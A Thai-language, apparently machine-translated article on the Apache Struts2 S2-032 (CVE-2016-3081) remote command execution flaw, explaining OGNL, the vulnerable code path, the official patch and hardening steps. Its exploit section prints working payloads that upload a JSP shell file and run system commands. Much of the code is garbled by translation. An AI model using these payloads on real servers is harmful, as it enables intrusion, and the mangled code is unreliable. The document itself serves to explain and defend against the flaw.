เมื่อวันที่ 26 เมษายน 2559 Apache Struts2 ออกประกาศความปลอดภัยอีกครั้งอย่างเป็นทางการ: บริการ Apache Struts2 สามารถดำเนินการคำสั่งใด ๆ จากระยะไกลเมื่อมีการเรียกใช้วิธีการของรัฐและเริ่มต้น หมายเลขอย่างเป็นทางการคือ S2-032 และหมายเลข CVE คือ CVE-2016-3081 นี่คือช่องโหว่ขนาดใหญ่ของบริการได้ระเบิดขึ้นหลังจากสี่ปีนับตั้งแต่ช่องโหว่การดำเนินการตามคำสั่งของ Struts2 เกิดขึ้นในปี 2555 ช่องโหว่นี้ยังเป็นช่องโหว่ด้านความปลอดภัยที่ร้ายแรงที่สุดที่ได้รับการเปิดเผยในปีนี้ แฮ็กเกอร์สามารถใช้ช่องโหว่นี้เพื่อดำเนินการระยะไกลบนเซิร์ฟเวอร์องค์กรส่งผลให้เกิดภัยคุกคามความปลอดภัยที่สำคัญเช่นการรั่วไหลของข้อมูลการกล่าวหาโฮสต์ระยะไกลการรุกอินทราเน็ต ฯลฯ
หลังจากช่องโหว่เกิดขึ้นมันเป็นอีกเหตุการณ์หนึ่งสำหรับความปลอดภัยและ บริษัท ที่เกี่ยวข้อง ผู้แสวงหาประโยชน์จากช่องโหว่ใช้ช่องโหว่นี้ให้มากที่สุดเท่าที่จะเป็นไปได้เพื่อแสดงระดับที่ยอดเยี่ยม แพลตฟอร์มการทดสอบสาธารณะที่หลากหลายได้เปิดตัว บริษัท ที่ถูกจับได้เพื่อปรับปรุงบทบาทของแพลตฟอร์ม บริษัท รักษาความปลอดภัยที่สำคัญได้ใช้ประโยชน์จากช่องโหว่นี้อย่างเต็มที่เพื่อเพิ่มอิทธิพลของ บริษัท ใช้ประโยชน์จากการตลาดการตรวจจับฟรีอัพเกรดโดยเร็วที่สุด ฯลฯ ยังมีผู้ผลิตซึมเศร้าจำนวนมากเหลืออยู่และฉันไม่ได้ถามใครและยุ่งกับใคร จากนั้นบุคลากรด้านการพัฒนาและการดำเนินงานที่หดหู่จำนวนมากจะต้องอัพเกรดแพตช์ช่องโหว่ในชั่วข้ามคืน
อย่างไรก็ตามหลักการของช่องโหว่ส่งผลกระทบต่อการป้องกันและปัจจัยอื่น ๆ ที่ไม่ค่อยมีการกล่าวถึง บทความนี้เกี่ยวกับการส่งต่อความคิดเห็นของคุณเองในประเด็นข้างต้น
หลักการ
ช่องโหว่นี้ใช้การดำเนินการแบบไดนามิกของ OGNL แบบไดนามิกของ Struts2 เพื่อเข้าถึงรหัส Java ใด ๆ การใช้ช่องโหว่นี้คุณสามารถสแกนหน้าเว็บระยะไกลเพื่อตรวจสอบว่ามีช่องโหว่ดังกล่าวหรือไม่จากนั้นส่งคำแนะนำที่เป็นอันตรายใช้การอัปโหลดไฟล์ดำเนินการคำสั่งดั้งเดิมและการโจมตีอื่น ๆ ที่ตามมา
OGNL เป็นตัวย่อของภาษานำทางวัตถุกราฟและชื่อเต็มคือภาษาการนำทางกราฟวัตถุ มันเป็นภาษาการแสดงออกที่ทรงพลัง ผ่านไวยากรณ์ที่เรียบง่ายและสอดคล้องกันสามารถเข้าถึงคุณสมบัติของวัตถุหรือเรียกใช้วิธีการของวัตถุตามต้องการและสามารถสำรวจแผนภาพโครงสร้างของวัตถุทั้งหมดและตระหนักถึงการแปลงประเภทแอตทริบิวต์วัตถุและฟังก์ชั่นอื่น ๆ
#, % และ $ symbols มักจะปรากฏในนิพจน์ OGNL
1. โดยทั่วไปมีการใช้สัญลักษณ์ # สามครั้ง
การเข้าถึงคุณสมบัติของวัตถุที่ไม่ใช่รูทเช่นการแสดงออก #session.msg เนื่องจากสแต็กค่ามัธยฐานของ struts 2 ถือเป็นวัตถุรูทคุณต้องนำหน้าเมื่อเข้าถึงวัตถุที่ไม่ใช่รูทอื่น ๆ มันถูกใช้เพื่อกรองและโครงการ (ฉาย) ชุดเช่นบุคคล {?#this.age> 25}, บุคคล {?#this.name == 'pla1'}. {อายุ} [0]; มันถูกใช้เพื่อสร้างแผนที่เช่น #{'foo1': 'bar1', 'foo2': 'bar2'} ในตัวอย่าง
2. %สัญลักษณ์
วัตถุประสงค์ของสัญลักษณ์ % คือการคำนวณค่าของนิพจน์ OGNL เมื่อแอตทริบิวต์ของธงเป็นประเภทสตริง สิ่งนี้คล้ายกับการประเมินใน JS และมีความรุนแรงมาก
3. สัญลักษณ์ $ มีการใช้งานหลักสองครั้ง
ในไฟล์ทรัพยากรระหว่างประเทศให้อ้างถึงการแสดงออกของ OGNL เช่นรหัสในไฟล์ทรัพยากรระหว่างประเทศ: reg.agerange = ข้อมูลทรัพยากรระหว่างประเทศ: อายุจะต้องอยู่ระหว่าง $ {min} และ $ {max}; อ้างถึงการแสดงออกของ OGNL ในไฟล์การกำหนดค่าของเฟรมเวิร์ก Struts 2
กระบวนการใช้รหัส
1. คำขอลูกค้า
http: // {sweenip.webapp}: {portnum}/{vul.action}? method = {malcmdstr}
2. ฟังก์ชั่น defaultActionProxy ของ DefaultActionProxy จัดการคำขอ
ได้รับการป้องกัน defaultActionProxy (ActionInvocation Inv, String Namespace, String ActionName, String MethodName, Boolean ExecuteResult, Boolean CleanUpContext) {this.inVocation = Inv; this.cleanUpContext = CleanUpContext; log.debug ("การสร้าง defaultActionProxy สำหรับ namespace [{}] และชื่อการกระทำ [{}]", namespace, actionName); this.actionName = stringescapeutils.escapehtml4 (ActionName); this.namespace = namespace; this.executeresult = executeResult; // ผู้เข้าร่วมสามารถข้ามผ่านการผ่านตัวแปรการเติมไวยากรณ์การหลบหนีของอักขระและวิธีการอื่น ๆ this.method = stringescapeutils.escapeecmascript (stringescapeutils.escapehtml4 (methodname));}3. DefaultActionMapper เมธอดชื่อชื่อของ DefaultActionMapper
ชื่อสตริง = key.substring (action_prefix.length ()); ถ้า (lewdydynamicmethodcalls) {int bang = name.indexof ('!'); if (bang! = -1) {// รับเมธอดชื่อสตริงเมธอด = cleanupActionName (name.substring (bang + 1)); การทำแผนที่ SetMethod (วิธีการ); NAME = NAME.SUBSTRING (0, BANG); -4. เรียกใช้วิธีการ indefairection ของ defaultActionInvocation เพื่อดำเนินการวิธีการที่ผ่าน
สตริงที่ได้รับการป้องกัน indinkeaction (การกระทำของวัตถุ, actionConfig actionConfig) พ่นข้อยกเว้น {สตริงเมธอดนี่ = proxy.getMethod (); log.debug ("การดำเนินการวิธีการกระทำ = {}", methodName); String Timerkey = "Invokeaction:" + Proxy.getActionName (); ลอง {utiltimerstack.push (timerkey); Object Methodresult; ลอง {// Execute MethodResult = ognlutil.getValue (methodName + "()", getStack (). getContext (), การกระทำ); } catch (methodfailedexception e) {สารละลาย
ทางออกอย่างเป็นทางการคือการเพิ่มการตรวจสอบในฟังก์ชัน CleanupActionName ในขั้นตอนที่ 3
รูปแบบที่ได้รับการป้องกันอนุญาตให้ Names = pattern.compile ("[a-za-z0-9 ._! ///-]*"); การทำความสะอาดสตริงที่ป้องกัน (สตริงสุดท้าย rawactionName) {// ตรวจสอบให้ป้อนการจับคู่ปกติ ("[A-ZA-Z0-9 ._! if (อนุญาตให้ Names.matcher (rawactionName) .matches ()) {return rawactionName; } else {if (log.iswarnenabled ()) {log.warn ("การกระทำ/วิธีการ [#0] ไม่ตรงกับรูปแบบชื่อแอ็คชั่นที่อนุญาต [#1], ทำความสะอาด!", rawactionName, ชื่อที่อนุญาต); } String CleanActionName = RawActionName; สำหรับ (String chunk: leadingActionNames.split (rawactionName)) {cleanactionName = cleanactionName.replace (chunk, ""); } if (log.isdebugenabled ()) {log.debug ("ทำความสะอาดชื่อการกระทำ/วิธีการ [#0]", cleanactionName); } return cleanactionName; -คำแนะนำการซ่อมแซม
1. ปิดใช้งานวิธีการไดนามิก
แก้ไขไฟล์การกำหนดค่าของ struts2 และตั้งค่าของ "struts.enable.dynamicmethodinvocation" เป็นเท็จตัวอย่างเช่น:
<constantName = "struts.enable.dynamicMethodinVocation" value = "false"/>;
2. อัปเกรดเวอร์ชันซอฟต์แวร์
อัพเกรดรุ่น Struts เป็น 2.3.20.2, 2.3.24.2 หรือ 2.3.28.1
ที่อยู่แพตช์: https://struts.apache.org/download.cgi#struts23281
ใช้ประโยชน์จากรหัส
1. อัปโหลดไฟล์:
วิธี:%23_MemberAccess%[อีเมล] [email protected] [/อีเมล]@default_member_access,%23Req%3d%40org.apache.structs2.servletactionContext%40getRequest (),%23 res%3d%40org.apache.structs2.servletactionContext%40getResponse (),%23res.Setcharacterencoding (%23Parameters.encoding [0]),%23W%3d%23res.getWriter () H%3D%23REQ.GETREALPATH (%23Parameters.pp [0]), ใหม่%20java.io.BufferedWriter (ใหม่%20java.io.fileWriter (%23Path%2B%23Parameters.SHELLNAME [0]) eters.ShellContent [0])) ปิด (),%23W.print (%23path),%23W.Close (), 1?%23xx:%23Request.ToString & shellName = Stest.jsp & Shellcontent = TTT & encoding = UTF-8 & PP =%2F 2F 2F 2F
รหัสข้างต้นดูไม่สะดวกเล็กน้อยลองแปลงและดู
วิธี: #_ memberAccess [email protected]@default_member_access,#req [email protected]@getRequest (),#[email protected] ervletactionContext@getResponse (),#res.SetchAracterenCoding (#parameters.encoding [0]),#w =#res.getWriter (),#path =#req.getRealPath (#parameters.pp [0]), ใหม่ java.io.bufferedwriter (ใหม่ java.io.filewriter (#path+#parameters.shellname [0]). ผนวก (#parameters.shellcontent [0])). ปิด (),#w.print (#path),#w.close (), 1? #xx:#
2. ดำเนินการคำสั่งโลคัล:
วิธี:%23_MemberAccess%[email protected]@default_member_access,%23res%3d%40org.apache.structs2.servletactionContext%40getRespo NSE (),%23res.Setcharacterencoding (%23Parameters.encoding [0]),%23W%3D%23Res.GetWriter (),%23S%3DNEW+JAVA.UTIL.SCANNER (@Java.lang.run เวลา@getRuntime (). exec (%23parameters.cmd [0]). getInputStream ()). ผู้ใช้งาน (%23Parameters.pp [0]),%23STR%3D%23SNEXT ()%3F%23S ถัดไป ()%3A%23Parameters.ppp [0],%23W.Print (%23STR),%23W.Close (), 1?%23xx:%23Request.ToString & CMD = GOAMI & PP = // A & PP =%20 & encoding = UTF-8
มาดูการแปลงกันเถอะ
วิธี: #_ memberAccess [#parameters.name1 [0]] = true,#_ memberAccess [#parameters.name [0]] = true,#_ memberAccess [#parameters.name2 [0] = {},#_ memberAccess [#paramete rs.name3 [0]] = {},#res [email protected]@getResponse (),#res.setcharacterencoding (#parameters.encoding [0]),#w#d#res.getWriter (),#s = ใหม่ java.util.scanner (@java.lang.runtime@getRuntime (). exec (#parameters.cmd [0]). getInputStream ()). userElimiter (#parameters.p.p [0]),#str =#s.hasnext () int (#str),#w.close (), 1? #xx:#request.toString & name = allowstaticmethodaccess & name1 = allyprivateaccess & name2 = excludedpackagenamepatterns & name3 = excludedclasses & cmd = whoami & pp =/จากการแนะนำก่อนหน้านี้ฉันพบว่ามันค่อนข้างง่ายที่จะเข้าใจหลังจากการแปลง
วิธีป้องกัน
มีหลักการที่สำคัญมากในการรักษาความปลอดภัยซึ่งเป็นหลักการของการอนุญาตน้อยที่สุด สิทธิพิเศษที่เรียกว่าน้อยที่สุดหมายถึง "สิทธิพิเศษที่จำเป็นต่อเงินต้น (ผู้ใช้หรือกระบวนการ) ในเครือข่ายแต่ละครั้งเมื่อเสร็จสิ้นการดำเนินการที่แน่นอน" หลักการของสิทธิพิเศษขั้นต่ำหมายความว่า "สิทธิ์ขั้นต่ำที่แต่ละหน่วยงานในเครือข่ายจะต้องถูก จำกัด เพื่อให้แน่ใจว่าอุบัติเหตุที่อาจเกิดขึ้นข้อผิดพลาดการดัดแปลงส่วนประกอบเครือข่ายและการสูญเสียอื่น ๆ ควรลดลง"
ตัวอย่างเช่นหากไม่ได้ใช้การเรียกใช้วิธีการแบบไดนามิกในระบบพวกเขาจะถูกลบออกระหว่างการปรับใช้ดังนั้นแม้ว่าแพตช์จะไม่ถูกยิงมันก็จะยังไม่ถูกใช้
หนึ่งในอันตรายที่สำคัญที่สุดในระบบนี้คือการดำเนินการกระบวนการในท้องถิ่นซึ่งสามารถปิดใช้งานได้หากระบบไม่ทำงานในเครื่อง
ลองดูที่รหัสที่เรียกใช้คำสั่งโลคัลในรหัส Java, processImpl ใน ProcessImpl
Private ProcessImpl (String cmd [], envblock สตริงสุดท้าย, เส้นทางสตริงสุดท้าย, ยาวสุดท้าย [] stdhandles, บูลีนสุดท้าย redirecterRorStream) พ่น IOException {String CMDSTR; SecurityManager Security = System.getSecurityManager (); บูลีนอนุญาตให้ ambiguouscommands = false; if (ความปลอดภัย == null) {lewalambiguousCommands = true; // JDK ได้ระบุพารามิเตอร์เพื่อระบุว่าสามารถดำเนินการกระบวนการในท้องถิ่นได้หรือไม่ ค่าสตริง = system.getProperty ("jdk.lang.process.allowambiguousCommands"); if (value! = null) อนุญาตให้ใช้ ambiguousCommands =! "false" .equalsignorecase (ค่า); } ถ้า (อนุญาตเมื่อ Java เริ่มต้นให้เพิ่มพารามิเตอร์ -djdk.lang.process.allowambigousCommands = False ดังนั้น Java จะไม่ดำเนินการตามกระบวนการในท้องถิ่น
หากคุณสามารถปิดเนื้อหาที่ไม่จำเป็นล่วงหน้าเมื่อมีการปรับใช้ระบบอันตรายของช่องโหว่นี้สามารถลดหรือกำจัดได้